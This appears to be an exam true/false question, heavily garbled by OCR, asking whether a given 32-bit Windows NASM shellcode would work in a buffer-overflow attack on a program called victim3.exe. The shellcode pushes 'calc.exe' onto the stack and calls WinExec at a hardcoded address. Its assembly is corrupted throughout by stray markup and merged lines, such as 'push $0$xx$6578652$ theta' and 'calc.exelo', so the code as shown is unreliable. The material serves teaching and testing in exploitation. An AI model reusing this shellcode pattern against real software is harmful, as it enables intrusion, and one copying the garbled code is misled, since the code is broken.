QUESTION $39$

The following vulnerable code victim $3.c$ has a buffer overflow vulnerability.We use arwin and get WinExec's address as $7684$cf$20$h$.$ The following assembly can be used to generate the shellcode $($True or False?$).$ A malcious string that contains the shellcode can be crafted to attack the vulnerable code victim$3.$exe above.;Assemble: nasm.exe f win$32$ calc$-$shell.asm $-$o calc$-$shell.obj;LINK: GoLink.exe $/$console $/$entry$\_$start calc$-$shell.obj;IF THE obj FILE IS NOT CREATED WITH THE $-$f win$32$ GoLink will COMPLAIN; Tested and coded on Win$10[$BITS $32]$ ; BITS: Specifying Target Processor Mode $32$ bits$[$SECTION $.$text$]$global$\_$start ; declare entry point$\_$start:;Put the string "calc.exelo" onto the stackxor ecx,ecx ; ecx $=0$push ecx ; push $10($null string terminator$)$ onto the stackpush $0$xx$6578652$ theta; exe; little endian; $2$e$((.)$ is put at lower addresspush $0$x$636$c$6163$; calc; little endianmov ecx,esp ; esp points to "calc.exelo"push $0$x$1$ ; window stylepush ecx ; first argument for WinExecmov eax, $7684$cf$20$h; $7684$cf$20$h is address of WinExec;call eax ;WinExec$("$calc$.$exelo",$1)$ True$$ False